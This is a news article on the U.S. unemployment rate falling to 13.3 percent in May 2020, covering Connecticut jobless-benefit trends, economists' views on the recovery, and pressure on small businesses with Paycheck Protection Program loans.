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KPMG Corporate Finance LLC, a Delaware limited liability company, is a member of FINRA and SIPC. KPMG Corporate Finance LLC is a subsidiary of KPMG LLP, a Delaware limited liability partnership and the U.S. member firm of the KPMG network of independent member firms affiliated with KPMG International Cooperative ("KPMG International"), a Swiss entity. All rights reserved.

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Unemployment in the United States declined slightly in May to 13.3 percent, according to new estimates issued Friday by the U.S. Department of Labor.

The figure was an improvement from Aprils rate of 14.7 percent, but was still drastically higher than the 4.4 percent charted in March. The Bureau of Labor Statistics bases its figures on surveys that reflect employment at mid-month.

The report arrived a day after the state Department of Labor reported 23,000 fewer people were receiving jobless benefits in Connecticut than there were last week, among the bigger drops nationally. Labor Commissioner Kurt Westby said he interpreted the trend as evidence the state is rebounding on employment, though with a long way to go as 250,000 people still are getting compensation.

The U.S. bureau noted the impact of renewed activity in May in the leisure and hospitality sectors, as well as retail, construction and health services as physicians began scheduling medical procedures that had been tabled as hospitals were overwhelmed with coronavirus patients.

Gov. Ned Lamont allowed retailers and restaurants to resume limited services on May 20, and Foxwoods and Mohegan Sun reopened their casinos on June 1, with the resorts supporting thousands of jobs at full operation.

You can call off the dogs, this is no longer a Great Depression with 25 [percent] of Americans out of work, Chris Rupkey, an economist with New York-based Mitsubishi UFJ Financial Group, said in a client note on Friday morning. It fits the story hand and glove with the states reopening in May even if there is still a lot of head-scratching going on among economists.

Though the country has turned the corner from the pandemic-induced recession, there still will be a long road back to solvency for many, he said.

All the workers who lost their paychecks will find it difficult to regain their place in society as many of these jobs are gone forever, Rupkey said.

More for you Turnaround in sight? CT jobless ranks drop despite fresh claims

The DOL estimated unemployment to be at 8 percent in Connecticut as of mid-April. But that was rejected as artificially low by the state Department of Labor, given the volume of initial claims for jobless benefits filed in the state since the start of the pandemic, which numbered more than 566,000 as of Thursday morning.

An expert on Connecticuts economy cautioned Friday against any irrational economic expectations for the coming months, saying the full weight of the coronavirus shutdowns will be playing out for some time as businesses better gauge post-pandemic sales against staffing needs.

In the slow-growth economy, employers dont add workers unless it adds to  profitability, said Donald Klepper-Smith of DataCore Partners in New Haven. You are going to make do with your existing workforce. ... Employers right now, a lot of them are scrambling. The small business sector in Connecticut is suffering big time  theres no question about it.

Lamont acknowledged the pressure faced by more than 56,000 small businesses in Connecticut that borrowed $6.6 billion to keep employees on the payroll under the Paycheck Protection Program. As those loans reach maturity dates, additional layoffs could be possible if business revenues have not recovered sufficiently to support the staffs those companies were carrying before the pandemic struck.

On Friday, President Trump signed a bill extending PPP deadlines and loosening some requirements.

Dan Haar contributed to this report. Includes reporting by Ken Dixon and Emilie Munson.

Alex.Soule@scni.com; 203-842-2545; @casoulman